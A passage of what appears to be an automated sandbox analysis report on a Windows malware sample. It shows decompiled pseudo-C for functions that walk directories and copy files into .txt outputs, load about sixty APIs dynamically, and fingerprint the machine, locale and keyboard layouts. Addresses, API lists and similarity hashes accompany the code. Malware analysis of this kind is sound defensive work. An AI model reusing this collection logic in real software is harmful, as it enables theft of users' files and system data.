				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t144);
				_push(0x411c11);
				_push( *[fs:eax]);
				 *[fs:eax] = _t146;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_v24 = FindFirstFileW(E00403D98(_v620),  &_v616);
				do {
					_push(_v8);
					_push(0x411c38);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x411c38);
					_t72 =  *0x41b3bc; // 0x41c80c
					_push( *_t72);
					E00403E78();
					if(E0040776C(_v624, 0, 0x104) != 0) {
						_push(_t144);
						_push(0x411b85);
						_push( *[fs:eax]);
						 *[fs:eax] = _t146;
						_push(_v8);
						_push(0x411c38);
						E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
						_push(_v644);
						_push(0x411c38);
						_t97 =  *0x41b3bc; // 0x41c80c
						_push( *_t97);
						E00403E78();
						E00410D88(_v640, 0,  &_v636, _t141, _t142);
						E0040377C( &_v632, _v636);
						_push(_v632);
						_push(_v16);
						_push(0x411c38);
						_push(_v12);
						_push(E00411C40);
						E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
						_push(_v656);
						_push(L".txt");
						E00403E78();
						E0040377C( &_v648, _v652);
						_pop(_t109);
						E0040E6D4(_t109, 0, _v648, _t141, _t142);
						_pop(_t140);
						 *[fs:eax] = _t140;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t127);
				 *[fs:eax] = _t127;
				_push(E00411C18);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x004119ac
0x004119ac
0x004119ad
0x004119af
0x004119b5
0x004119b6
0x004119b7
0x004119ba
0x004119c0
0x004119c6
0x004119cc
0x004119d2
0x004119d8
0x004119de
0x004119e4
0x004119ea
0x004119f0
0x004119f6
0x004119f9
0x004119fc
0x00411a02
0x00411a0a
0x00411a12
0x00411a19
0x00411a1a
0x00411a1f
0x00411a22
0x00411a3a
0x00411a50
0x00411a53
0x00411a53
0x00411a56
0x00411a6c
0x00411a71
0x00411a77
0x00411a7c
0x00411a81
0x00411a8e
0x00411aa0
0x00411aa8
0x00411aa9
0x00411aae
0x00411ab1
0x00411ab4
0x00411ab7
0x00411acd
0x00411ad2
0x00411ad8
0x00411add
0x00411ae2
0x00411aef
0x00411b00
0x00411b11
0x00411b1c
0x00411b1d
0x00411b20
0x00411b25
0x00411b28
0x00411b3e
0x00411b43
0x00411b49
0x00411b59
0x00411b6a
0x00411b75
0x00411b76
0x00411b7d
0x00411b80
0x00411b80
0x00411b9f
0x00411bab
0x00411bb2
0x00411bb5
0x00411bb8
0x00411bc8
0x00411bd3
0x00411be3
0x00411bee
0x00411bfe
0x00411c10

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00411C11,?,00000000,?,00000000,?,004123C4,00000000,00000000,004123CE,?,00000000,00000000), ref: 00411A4B

Part of subcall function 00410D88: GetTickCount.KERNEL32(00000000,00410F66,?,00000000,00410FE1,?,00000000,?,00000000,00000000,00000000,?,00411B05,0041C80C,00411C38,?), ref: 00410DCC
Part of subcall function 00410D88: CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 00410E48
Part of subcall function 00410D88: DeleteFileW.KERNEL32(00000000), ref: 00410F84

FindNextFileW.KERNEL32(?,?,0041C80C,00411C38,?,00411C38,0041A232,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411B9A
FindClose.KERNEL32(?,?,?,0041C80C,00411C38,?,00411C38,0041A232,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411BAB

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

\*.*, xrefs: 00411A32
.txt, xrefs: 00411B49

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: File$Find$CloseCopyCountDeleteE4513E465FirstNextTick
String ID: .txt$\*.*
API String ID: 1526635075-2615687548
Opcode ID: 9ed39196901e4c4264153a5eda5fee9cbbdfd45b17cdb1ef7785d40ff299e03a
Instruction ID: 460237bab6dc973d40a851033a2d7f34c10cc3b5c211c467e1e524dd2a58d6ff
Opcode Fuzzy Hash: 9ed39196901e4c4264153a5eda5fee9cbbdfd45b17cdb1ef7785d40ff299e03a
Instruction Fuzzy Hash: E9511C749052199FCF61EF61CD89ACDBBB9EB48304F5081FAA508B3261DB389F858F54

Uniqueness

Uniqueness Score: 1.69%

Function 00409927, Relevance: 3.0, APIs: 2, Instructions: 8
COMMON

C-Code - Quality: 100%

			E00409927(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				return UnhandledExceptionFilter(_a4);
			}

0x0040992c
0x0040993c

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040992C
UnhandledExceptionFilter.KERNEL32(?), ref: 00409935

Memory Dump Source

Source File: 00000009.00000001.591217201.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.590943898.00400000.00000002.sdmp
Associated: 00000009.00000001.592063011.00411000.00000002.sdmp
Associated: 00000009.00000001.592415327.00418000.00000008.sdmp
Associated: 00000009.00000001.593530815.00428000.00000004.sdmp
Associated: 00000009.00000001.593957050.0042E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_159753404015476.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 32aed0b32070b2090b91dd298571a30d8f06dd9785b9abb80db5ac4601174e34
Instruction ID: b804b2cb0fe83a69ddd71bd35063fb03bb71c005b5ef9d6ff84efb8e60bc4e6e
Opcode Fuzzy Hash: 32aed0b32070b2090b91dd298571a30d8f06dd9785b9abb80db5ac4601174e34
Instruction Fuzzy Hash: A2B0923184424AABCB002B91EC0ABC83F28EB08652F01C021FB0D84870EB6255908A99

Uniqueness

Uniqueness Score: 0.02%

Function 00404BA8, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

C-Code - Quality: 51%

			E00404BA8(int __eax, void* __ebx, void* __eflags) {
				char _v8;
				char _v15;
				char _v20;
				intOrPtr _t29;
				void* _t32;

				_v20 = 0;
				_push(_t32);
				_push(0x404c0e);
				_push( *[fs:edx]);
				 *[fs:edx] = _t32 + 0xfffffff0;
				GetLocaleInfoA(__eax, 0x1004,  &_v15, 7);
				E00403748( &_v20, 7,  &_v15);
				E00402988(_v20,  &_v8);
				if(_v8 != 0) {
				}
				_pop(_t29);
				 *[fs:eax] = _t29;
				_push(E00404C15);
				return E004034E4( &_v20);
			}

0x00404bb1
0x00404bb6
0x00404bb7
0x00404bbc
0x00404bbf
0x00404bce
0x00404bde
0x00404be9
0x00404bf4
0x00404bf4
0x00404bfa
0x00404bfd
0x00404c00
0x00404c0d

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00404C0E), ref: 00404BCE

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8a700239e0663486b45f8c99e05902868230226b521531f4d4385d00920ea9b5
Instruction ID: 4cf5545a5668d2b6934dff5f8e722f533bd1fe9dd63670d657e80fcd03084d14
Opcode Fuzzy Hash: 8a700239e0663486b45f8c99e05902868230226b521531f4d4385d00920ea9b5
Instruction Fuzzy Hash: 77F0C870A0420DAFE715DF91CD41ADEF77AF7C5714F50883AA610772D0E7B86A00C698

Uniqueness

Uniqueness Score: 0.00%

Function 00407AF0, Relevance: .0, Instructions: 2
COMMON

C-Code - Quality: 100%

			E00407AF0() {

				return  *[fs:0x30];
			}

0x00407af7

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: 0.00%

Function 00405668, Relevance: 217.3, APIs: 62, Strings: 62, Instructions: 307
libraryloaderUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405668() {
				struct HINSTANCE__* _t108;
				struct HINSTANCE__* _t110;
				struct HINSTANCE__* _t112;
				struct HINSTANCE__* _t115;
				struct HINSTANCE__* _t118;
				_Unknown_base(*)()* _t119;

				 *0x41c678 = LoadLibraryA("kernel32.dll");
				 *0x41c67c = GetProcAddress( *0x41c678, "ExpandEnvironmentStringsW");
				 *0x41c680 = GetProcAddress( *0x41c678, "GetComputerNameW");
				 *0x41c684 = GetProcAddress( *0x41c678, "GlobalMemoryStatus");
				 *0x41c688 = GetProcAddress( *0x41c678, "CreateFileW");
				 *0x41c68c = GetProcAddress( *0x41c678, "GetFileSize");
				 *0x41c690 = GetProcAddress( *0x41c678, "CloseHandle");
				 *0x41c694 = GetProcAddress( *0x41c678, "ReadFile");
				 *0x41c698 = GetProcAddress( *0x41c678, "GetFileAttributesW");
				 *0x41c69c = GetProcAddress( *0x41c678, "CreateMutexA");
				 *0x41c6a0 = GetProcAddress( *0x41c678, "ReleaseMutex");
				 *0x41c6a4 = GetProcAddress( *0x41c678, "GetLastError");
				 *0x41c6a8 = GetProcAddress( *0x41c678, "GetCurrentDirectoryW");
				 *0x41c6ac = GetProcAddress( *0x41c678, "SetEnvironmentVariableW");
				 *0x41c6b0 = GetProcAddress( *0x41c678, "SetCurrentDirectoryW");
				 *0x41c6b4 = GetProcAddress( *0x41c678, "FindFirstFileW");
				 *0x41c6b8 = GetProcAddress( *0x41c678, "FindNextFileW");
				 *0x41c6bc = GetProcAddress( *0x41c678, "LocalFree");
				 *0x41c6c0 = GetProcAddress( *0x41c678, "GetTickCount");
				 *0x41c6c4 = GetProcAddress( *0x41c678, "CopyFileW");
				 *0x41c6c8 = GetProcAddress( *0x41c678, "FindClose");
				 *0x41c6cc = GetProcAddress( *0x41c678, "GlobalMemoryStatusEx");
				 *0x41c6d0 = GetProcAddress( *0x41c678, "CreateToolhelp32Snapshot");
				 *0x41c6d4 = GetProcAddress( *0x41c678, "Process32FirstW");
				 *0x41c6d8 = GetProcAddress( *0x41c678, "Process32NextW");
				 *0x41c6dc = GetProcAddress( *0x41c678, "GetModuleFileNameW");
				 *0x41c6e0 = GetProcAddress( *0x41c678, "SetDllDirectoryW");
				 *0x41c6e4 = GetProcAddress( *0x41c678, "GetLocaleInfoA");
				 *0x41c6e8 = GetProcAddress( *0x41c678, "GetLocalTime");
				 *0x41c6ec = GetProcAddress( *0x41c678, "GetTimeZoneInformation");
				 *0x41c6f0 = GetProcAddress( *0x41c678, "RemoveDirectoryW");
				 *0x41c6f4 = GetProcAddress( *0x41c678, "DeleteFileW");
				 *0x41c6f8 = GetProcAddress( *0x41c678, "GetLogicalDriveStringsA");
				 *0x41c6fc = GetProcAddress( *0x41c678, "GetDriveTypeA");
				 *0x41c700 = GetProcAddress( *0x41c678, "CreateProcessW");
				 *0x41c704 = LoadLibraryA("advapi32.dll");
				 *0x41c708 = GetProcAddress( *0x41c704, "GetUserNameW");
				 *0x41c70c = GetProcAddress( *0x41c704, "RegCreateKeyExW");
				 *0x41c710 = GetProcAddress( *0x41c704, "RegQueryValueExW");
				 *0x41c714 = GetProcAddress( *0x41c704, "RegCloseKey");
				 *0x41c718 = GetProcAddress( *0x41c704, "RegOpenKeyExW");
				 *0x41c71c = GetProcAddress( *0x41c704, "AllocateAndInitializeSid");
				 *0x41c720 = GetProcAddress( *0x41c704, "LookupAccountSidA");
				 *0x41c724 = GetProcAddress( *0x41c704, "CreateProcessAsUserW");
				 *0x41c728 = GetProcAddress( *0x41c704, "CheckTokenMembership");
				 *0x41c72c = GetProcAddress( *0x41c704, "RegOpenKeyW");
				 *0x41c730 = GetProcAddress( *0x41c704, "RegEnumKeyW");
				 *0x41c734 = GetProcAddress( *0x41c704, "RegEnumValueW");
				 *0x41c738 = GetProcAddress( *0x41c704, "CryptAcquireContextA");
				 *0x41c73c = GetProcAddress( *0x41c704, "CryptCreateHash");
				 *0x41c740 = GetProcAddress( *0x41c704, "CryptHashData");
				 *0x41c744 = GetProcAddress( *0x41c704, "CryptGetHashParam");
				 *0x41c748 = GetProcAddress( *0x41c704, "CryptDestroyHash");
				 *0x41c74c = GetProcAddress( *0x41c704, "CryptReleaseContext");
				 *0x41c750 = LoadLibraryA("user32.dll");
				_t108 =  *0x41c750; // 0x76910000
				 *0x41c754 = GetProcAddress(_t108, "EnumDisplayDevicesW");
				_t110 =  *0x41c750; // 0x76910000
				 *0x41c758 = GetProcAddress(_t110, "wvsprintfA");
				_t112 =  *0x41c750; // 0x76910000
				 *0x41c75c = GetProcAddress(_t112, "GetKeyboardLayoutList");
				 *0x41c760 = LoadLibraryA("shell32.dll");
				_t115 =  *0x41c760; // 0x76ec0000
				 *0x41c764 = GetProcAddress(_t115, "ShellExecuteExW");
				 *0x41c768 = LoadLibraryA("ntdll.dll");
				_t118 =  *0x41c768; // 0x77d30000
				_t119 = GetProcAddress(_t118, "RtlComputeCrc32");
				 *0x41c76c = _t119;
				return _t119;
			}

0x0040567e
0x0040568d
0x0040569f
0x004056b1
0x004056c3
0x004056d5
0x004056e7
0x004056f9
0x0040570b
0x0040571d
0x0040572f
0x00405741
0x00405753
0x00405765
0x00405777
0x00405789
0x0040579b
0x004057ad
0x004057bf
0x004057d1
0x004057e3
0x004057f5
0x00405807
0x00405819
0x0040582b
0x0040583d
0x0040584f
0x00405861
0x00405873
0x00405885
0x00405897
0x004058a9
0x004058bb
0x004058cd
0x004058df
0x004058ee
0x004058fd
0x0040590f
0x00405921
0x00405933
0x00405945
0x00405957
0x00405969
0x0040597b
0x0040598d
0x0040599f
0x004059b1
0x004059c3
0x004059d5
0x004059e7
0x004059f9
0x00405a0b
0x00405a1d
0x00405a2f
0x00405a3e
0x00405a48
0x00405a53
0x00405a5d
0x00405a68
0x00405a72
0x00405a7d
0x00405a8c
0x00405a96
0x00405aa1
0x00405ab0
0x00405aba
0x00405ac0
0x00405ac5
0x00405acc

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00405679
GetProcAddress.KERNEL32(00000000,ExpandEnvironmentStringsW,?,?,00418731), ref: 00405688
GetProcAddress.KERNEL32(00000000,GetComputerNameW,00000000,ExpandEnvironmentStringsW,?,?,00418731), ref: 0040569A
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatus,00000000,GetComputerNameW,00000000,ExpandEnvironmentStringsW,?,?,00418731), ref: 004056AC
GetProcAddress.KERNEL32(00000000,CreateFileW,00000000,GlobalMemoryStatus,00000000,GetComputerNameW,00000000,ExpandEnvironmentStringsW,?,?,00418731), ref: 004056BE
GetProcAddress.KERNEL32(00000000,GetFileSize,00000000,CreateFileW,00000000,GlobalMemoryStatus,00000000,GetComputerNameW,00000000,ExpandEnvironmentStringsW,?,?,00418731), ref: 004056D0
GetProcAddress.KERNEL32(00000000,CloseHandle,00000000,GetFileSize,00000000,CreateFileW,00000000,GlobalMemoryStatus,00000000,GetComputerNameW,00000000,ExpandEnvironmentStringsW,?,?,00418731), ref: 004056E2
GetProcAddress.KERNEL32(00000000,ReadFile,00000000,CloseHandle,00000000,GetFileSize,00000000,CreateFileW,00000000,GlobalMemoryStatus,00000000,GetComputerNameW,00000000,ExpandEnvironmentStringsW), ref: 004056F4
GetProcAddress.KERNEL32(00000000,GetFileAttributesW,00000000,ReadFile,00000000,CloseHandle,00000000,GetFileSize,00000000,CreateFileW,00000000,GlobalMemoryStatus,00000000,GetComputerNameW,00000000,ExpandEnvironmentStringsW), ref: 00405706
GetProcAddress.KERNEL32(00000000,CreateMutexA,00000000,GetFileAttributesW,00000000,ReadFile,00000000,CloseHandle,00000000,GetFileSize,00000000,CreateFileW,00000000,GlobalMemoryStatus,00000000,GetComputerNameW), ref: 00405718
GetProcAddress.KERNEL32(00000000,ReleaseMutex,00000000,CreateMutexA,00000000,GetFileAttributesW,00000000,ReadFile,00000000,CloseHandle,00000000,GetFileSize,00000000,CreateFileW,00000000,GlobalMemoryStatus), ref: 0040572A
GetProcAddress.KERNEL32(00000000,GetLastError,00000000,ReleaseMutex,00000000,CreateMutexA,00000000,GetFileAttributesW,00000000,ReadFile,00000000,CloseHandle,00000000,GetFileSize,00000000,CreateFileW), ref: 0040573C
GetProcAddress.KERNEL32(00000000,GetCurrentDirectoryW,00000000,GetLastError,00000000,ReleaseMutex,00000000,CreateMutexA,00000000,GetFileAttributesW,00000000,ReadFile,00000000,CloseHandle,00000000,GetFileSize), ref: 0040574E
GetProcAddress.KERNEL32(00000000,SetEnvironmentVariableW,00000000,GetCurrentDirectoryW,00000000,GetLastError,00000000,ReleaseMutex,00000000,CreateMutexA,00000000,GetFileAttributesW,00000000,ReadFile,00000000,CloseHandle), ref: 00405760
GetProcAddress.KERNEL32(00000000,SetCurrentDirectoryW,00000000,SetEnvironmentVariableW,00000000,GetCurrentDirectoryW,00000000,GetLastError,00000000,ReleaseMutex,00000000,CreateMutexA,00000000,GetFileAttributesW,00000000,ReadFile), ref: 00405772
GetProcAddress.KERNEL32(00000000,FindFirstFileW,00000000,SetCurrentDirectoryW,00000000,SetEnvironmentVariableW,00000000,GetCurrentDirectoryW,00000000,GetLastError,00000000,ReleaseMutex,00000000,CreateMutexA,00000000,GetFileAttributesW), ref: 00405784
GetProcAddress.KERNEL32(00000000,FindNextFileW,00000000,FindFirstFileW,00000000,SetCurrentDirectoryW,00000000,SetEnvironmentVariableW,00000000,GetCurrentDirectoryW,00000000,GetLastError,00000000,ReleaseMutex,00000000,CreateMutexA), ref: 00405796
GetProcAddress.KERNEL32(00000000,LocalFree,00000000,FindNextFileW,00000000,FindFirstFileW,00000000,SetCurrentDirectoryW,00000000,SetEnvironmentVariableW,00000000,GetCurrentDirectoryW,00000000,GetLastError,00000000,ReleaseMutex), ref: 004057A8
GetProcAddress.KERNEL32(00000000,GetTickCount,00000000,LocalFree,00000000,FindNextFileW,00000000,FindFirstFileW,00000000,SetCurrentDirectoryW,00000000,SetEnvironmentVariableW,00000000,GetCurrentDirectoryW,00000000,GetLastError), ref: 004057BA
GetProcAddress.KERNEL32(00000000,CopyFileW,00000000,GetTickCount,00000000,LocalFree,00000000,FindNextFileW,00000000,FindFirstFileW,00000000,SetCurrentDirectoryW,00000000,SetEnvironmentVariableW,00000000,GetCurrentDirectoryW), ref: 004057CC
GetProcAddress.KERNEL32(00000000,FindClose,00000000,CopyFileW,00000000,GetTickCount,00000000,LocalFree,00000000,FindNextFileW,00000000,FindFirstFileW,00000000,SetCurrentDirectoryW,00000000,SetEnvironmentVariableW), ref: 004057DE
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatusEx,00000000,FindClose,00000000,CopyFileW,00000000,GetTickCount,00000000,LocalFree,00000000,FindNextFileW,00000000,FindFirstFileW,00000000,SetCurrentDirectoryW), ref: 004057F0
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot,00000000,GlobalMemoryStatusEx,00000000,FindClose,00000000,CopyFileW,00000000,GetTickCount,00000000,LocalFree,00000000,FindNextFileW,00000000,FindFirstFileW), ref: 00405802
GetProcAddress.KERNEL32(00000000,Process32FirstW,00000000,CreateToolhelp32Snapshot,00000000,GlobalMemoryStatusEx,00000000,FindClose,00000000,CopyFileW,00000000,GetTickCount,00000000,LocalFree,00000000,FindNextFileW), ref: 00405814
GetProcAddress.KERNEL32(00000000,Process32NextW,00000000,Process32FirstW,00000000,CreateToolhelp32Snapshot,00000000,GlobalMemoryStatusEx,00000000,FindClose,00000000,CopyFileW,00000000,GetTickCount,00000000,LocalFree), ref: 00405826
GetProcAddress.KERNEL32(00000000,GetModuleFileNameW,00000000,Process32NextW,00000000,Process32FirstW,00000000,CreateToolhelp32Snapshot,00000000,GlobalMemoryStatusEx,00000000,FindClose,00000000,CopyFileW,00000000,GetTickCount), ref: 00405838
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW,00000000,GetModuleFileNameW,00000000,Process32NextW,00000000,Process32FirstW,00000000,CreateToolhelp32Snapshot,00000000,GlobalMemoryStatusEx,00000000,FindClose,00000000,CopyFileW), ref: 0040584A
GetProcAddress.KERNEL32(00000000,GetLocaleInfoA,00000000,SetDllDirectoryW,00000000,GetModuleFileNameW,00000000,Process32NextW,00000000,Process32FirstW,00000000,CreateToolhelp32Snapshot,00000000,GlobalMemoryStatusEx,00000000,FindClose), ref: 0040585C
GetProcAddress.KERNEL32(00000000,GetLocalTime,00000000,GetLocaleInfoA,00000000,SetDllDirectoryW,00000000,GetModuleFileNameW,00000000,Process32NextW,00000000,Process32FirstW,00000000,CreateToolhelp32Snapshot,00000000,GlobalMemoryStatusEx), ref: 0040586E
GetProcAddress.KERNEL32(00000000,GetTimeZoneInformation,00000000,GetLocalTime,00000000,GetLocaleInfoA,00000000,SetDllDirectoryW,00000000,GetModuleFileNameW,00000000,Process32NextW,00000000,Process32FirstW,00000000,CreateToolhelp32Snapshot), ref: 00405880
GetProcAddress.KERNEL32(00000000,RemoveDirectoryW,00000000,GetTimeZoneInformation,00000000,GetLocalTime,00000000,GetLocaleInfoA,00000000,SetDllDirectoryW,00000000,GetModuleFileNameW,00000000,Process32NextW,00000000,Process32FirstW), ref: 00405892
GetProcAddress.KERNEL32(00000000,DeleteFileW,00000000,RemoveDirectoryW,00000000,GetTimeZoneInformation,00000000,GetLocalTime,00000000,GetLocaleInfoA,00000000,SetDllDirectoryW,00000000,GetModuleFileNameW,00000000,Process32NextW), ref: 004058A4
GetProcAddress.KERNEL32(00000000,GetLogicalDriveStringsA,00000000,DeleteFileW,00000000,RemoveDirectoryW,00000000,GetTimeZoneInformation,00000000,GetLocalTime,00000000,GetLocaleInfoA,00000000,SetDllDirectoryW,00000000,GetModuleFileNameW), ref: 004058B6
GetProcAddress.KERNEL32(00000000,GetDriveTypeA,00000000,GetLogicalDriveStringsA,00000000,DeleteFileW,00000000,RemoveDirectoryW,00000000,GetTimeZoneInformation,00000000,GetLocalTime,00000000,GetLocaleInfoA,00000000,SetDllDirectoryW), ref: 004058C8
GetProcAddress.KERNEL32(00000000,CreateProcessW,00000000,GetDriveTypeA,00000000,GetLogicalDriveStringsA,00000000,DeleteFileW,00000000,RemoveDirectoryW,00000000,GetTimeZoneInformation,00000000,GetLocalTime,00000000,GetLocaleInfoA), ref: 004058DA
LoadLibraryA.KERNEL32(advapi32.dll), ref: 004058E9
GetProcAddress.KERNEL32(00000000,GetUserNameW,advapi32.dll,00000000,CreateProcessW,00000000,GetDriveTypeA,00000000,GetLogicalDriveStringsA,00000000,DeleteFileW,00000000,RemoveDirectoryW,00000000,GetTimeZoneInformation,00000000), ref: 004058F8
GetProcAddress.KERNEL32(00000000,RegCreateKeyExW,00000000,GetUserNameW,advapi32.dll,00000000,CreateProcessW,00000000,GetDriveTypeA,00000000,GetLogicalDriveStringsA,00000000,DeleteFileW,00000000,RemoveDirectoryW,00000000), ref: 0040590A
GetProcAddress.KERNEL32(00000000,RegQueryValueExW,00000000,RegCreateKeyExW,00000000,GetUserNameW,advapi32.dll,00000000,CreateProcessW,00000000,GetDriveTypeA,00000000,GetLogicalDriveStringsA,00000000,DeleteFileW,00000000), ref: 0040591C
GetProcAddress.KERNEL32(00000000,RegCloseKey,00000000,RegQueryValueExW,00000000,RegCreateKeyExW,00000000,GetUserNameW,advapi32.dll,00000000,CreateProcessW,00000000,GetDriveTypeA,00000000,GetLogicalDriveStringsA,00000000), ref: 0040592E
GetProcAddress.KERNEL32(00000000,RegOpenKeyExW,00000000,RegCloseKey,00000000,RegQueryValueExW,00000000,RegCreateKeyExW,00000000,GetUserNameW,advapi32.dll,00000000,CreateProcessW,00000000,GetDriveTypeA,00000000), ref: 00405940
GetProcAddress.KERNEL32(00000000,AllocateAndInitializeSid,00000000,RegOpenKeyExW,00000000,RegCloseKey,00000000,RegQueryValueExW,00000000,RegCreateKeyExW,00000000,GetUserNameW,advapi32.dll,00000000,CreateProcessW,00000000), ref: 00405952
GetProcAddress.KERNEL32(00000000,LookupAccountSidA,00000000,AllocateAndInitializeSid,00000000,RegOpenKeyExW,00000000,RegCloseKey,00000000,RegQueryValueExW,00000000,RegCreateKeyExW,00000000,GetUserNameW,advapi32.dll,00000000), ref: 00405964
GetProcAddress.KERNEL32(00000000,CreateProcessAsUserW,00000000,LookupAccountSidA,00000000,AllocateAndInitializeSid,00000000,RegOpenKeyExW,00000000,RegCloseKey,00000000,RegQueryValueExW,00000000,RegCreateKeyExW,00000000,GetUserNameW), ref: 00405976
GetProcAddress.KERNEL32(00000000,CheckTokenMembership,00000000,CreateProcessAsUserW,00000000,LookupAccountSidA,00000000,AllocateAndInitializeSid,00000000,RegOpenKeyExW,00000000,RegCloseKey,00000000,RegQueryValueExW,00000000,RegCreateKeyExW), ref: 00405988
GetProcAddress.KERNEL32(00000000,RegOpenKeyW,00000000,CheckTokenMembership,00000000,CreateProcessAsUserW,00000000,LookupAccountSidA,00000000,AllocateAndInitializeSid,00000000,RegOpenKeyExW,00000000,RegCloseKey,00000000,RegQueryValueExW), ref: 0040599A
GetProcAddress.KERNEL32(00000000,RegEnumKeyW,00000000,RegOpenKeyW,00000000,CheckTokenMembership,00000000,CreateProcessAsUserW,00000000,LookupAccountSidA,00000000,AllocateAndInitializeSid,00000000,RegOpenKeyExW,00000000,RegCloseKey), ref: 004059AC
GetProcAddress.KERNEL32(00000000,RegEnumValueW,00000000,RegEnumKeyW,00000000,RegOpenKeyW,00000000,CheckTokenMembership,00000000,CreateProcessAsUserW,00000000,LookupAccountSidA,00000000,AllocateAndInitializeSid,00000000,RegOpenKeyExW), ref: 004059BE
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,00000000,RegEnumValueW,00000000,RegEnumKeyW,00000000,RegOpenKeyW,00000000,CheckTokenMembership,00000000,CreateProcessAsUserW,00000000,LookupAccountSidA,00000000,AllocateAndInitializeSid), ref: 004059D0
GetProcAddress.KERNEL32(00000000,CryptCreateHash,00000000,CryptAcquireContextA,00000000,RegEnumValueW,00000000,RegEnumKeyW,00000000,RegOpenKeyW,00000000,CheckTokenMembership,00000000,CreateProcessAsUserW,00000000,LookupAccountSidA), ref: 004059E2
GetProcAddress.KERNEL32(00000000,CryptHashData,00000000,CryptCreateHash,00000000,CryptAcquireContextA,00000000,RegEnumValueW,00000000,RegEnumKeyW,00000000,RegOpenKeyW,00000000,CheckTokenMembership,00000000,CreateProcessAsUserW), ref: 004059F4
GetProcAddress.KERNEL32(00000000,CryptGetHashParam,00000000,CryptHashData,00000000,CryptCreateHash,00000000,CryptAcquireContextA,00000000,RegEnumValueW,00000000,RegEnumKeyW,00000000,RegOpenKeyW,00000000,CheckTokenMembership), ref: 00405A06
GetProcAddress.KERNEL32(00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData,00000000,CryptCreateHash,00000000,CryptAcquireContextA,00000000,RegEnumValueW,00000000,RegEnumKeyW,00000000,RegOpenKeyW), ref: 00405A18
GetProcAddress.KERNEL32(00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData,00000000,CryptCreateHash,00000000,CryptAcquireContextA,00000000,RegEnumValueW,00000000,RegEnumKeyW), ref: 00405A2A
LoadLibraryA.KERNEL32(user32.dll), ref: 00405A39
GetProcAddress.KERNEL32(76910000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData,00000000,CryptCreateHash,00000000,CryptAcquireContextA,00000000), ref: 00405A4E
GetProcAddress.KERNEL32(76910000,wvsprintfA,76910000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData,00000000,CryptCreateHash,00000000), ref: 00405A63
GetProcAddress.KERNEL32(76910000,GetKeyboardLayoutList,76910000,wvsprintfA,76910000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData,00000000), ref: 00405A78
LoadLibraryA.KERNEL32(shell32.dll), ref: 00405A87
GetProcAddress.KERNEL32(76EC0000,ShellExecuteExW,shell32.dll,76910000,GetKeyboardLayoutList,76910000,wvsprintfA,76910000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam), ref: 00405A9C
LoadLibraryA.KERNEL32(ntdll.dll), ref: 00405AAB
